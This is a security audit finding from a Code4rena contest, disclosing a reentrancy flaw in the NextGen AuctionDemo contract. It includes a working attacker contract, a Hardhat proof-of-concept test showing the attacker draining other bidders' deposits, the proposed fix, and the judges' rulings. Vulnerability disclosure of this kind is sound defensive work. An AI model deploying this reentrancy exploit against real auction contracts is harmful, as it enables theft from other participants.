Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 211/243
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125
auctionDemo.claimAuction()
and auctionDemo.cancelBid()
can be accessed at the same time if block.timestamp == minter.getAuctionEndTime(_tokenid)
. Since miners can manipulate the timestamp auction winner can use this for exploit. Auction winner can claim his NFT at this timestamp and when his failing offers are repaid he can call auctionDemo.cancelBid()
in a reentrancy call to exploit and potentially steal from other participants.
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Attacker Contract:
contract Attacker { auctionDemo public auction; uint256 public tokenId; constructor(address auctionAddress, uint256 _tokenId) { auction = auctionDemo(auctionAddress); tokenId = _tokenId; } receive() external payable { (, , bool status) = auction.auctionInfoData(tokenId, 0); if (status) { auction.cancelBid(tokenId, 0); } } function participate() external payable { auction.participateToAuction{value: msg.value}(tokenId); } function claim() external { auction.claimAuction(tokenId); } function getBalances() public view returns (uint) { return address(this).balance; } function onERC721Received( address, address, uint256, bytes calldata ) external returns (bytes4) { return this.onERC721Received.selector; }
POC test:
it("#AuctionAttack", async function () { let currentTimestamp = await time.latest(); await contracts.hhMinter.mintAndAuction( signers.owner.address, // _recipients '{"tdh": "100"}', 1111, 2, // _collectionID currentTimestamp + 100000, // _auctionEndTime ); let tokenId = 20000000000 + 1; expect(await contracts.hhMinter.getAuctionStatus(tokenId)).to.equal(true); await contracts.hhCore.approve(await contracts.hhauctionDemo.getAddress(), tokenId); // Attacker contract doesnt have any eth expect(await contracts.hhAttacker.getBalances()).to.equal(0); // Addr3 sends ETH to the attacker and participates in the auction const participationAmount = 100000000000000000 await contracts.hhAttacker.connect(signers.addr3).participate({ value: BigInt(participationAmount) }) // Other bidders participate in the auction await contracts.hhauctionDemo.connect(signers.addr1).participateToAuction(tokenId, { value: BigInt(2 * participationAmount) }); await contracts.hhauctionDemo.connect(signers.addr2).participateToAuction( tokenId, { value: BigInt(3 * participationAmount) } ); // Attacker sends the largest amount and wins the auction await contracts.hhAttacker.connect(signers.addr3).participate({ value: BigInt(4 * participationAmount) }) // Set the timestamp to the auction end time let auctionEnd = await contracts.hhMinter.getAuctionEndTime(tokenId); await ethers.provider.send("evm_setNextBlockTimestamp", [Number(auctionEnd)]); // Attacker claims the NFT await contracts.hhAttacker.connect(signers.addr3).claim() // Attacker recives 2x of his deposit expect(await contracts.hhAttacker.getBalances()).to.equal(BigInt(2 * participationAmount)); })
harhat, vscode
function cancelBid(uint256 _tokenid, uint256 index) public { - require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); + require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
Reentrancy
#0 - c4-pre-sort
2023-11-22T00:09:37Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:41:47Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T17:58:28Z
alex-ppg marked the issue as partial-50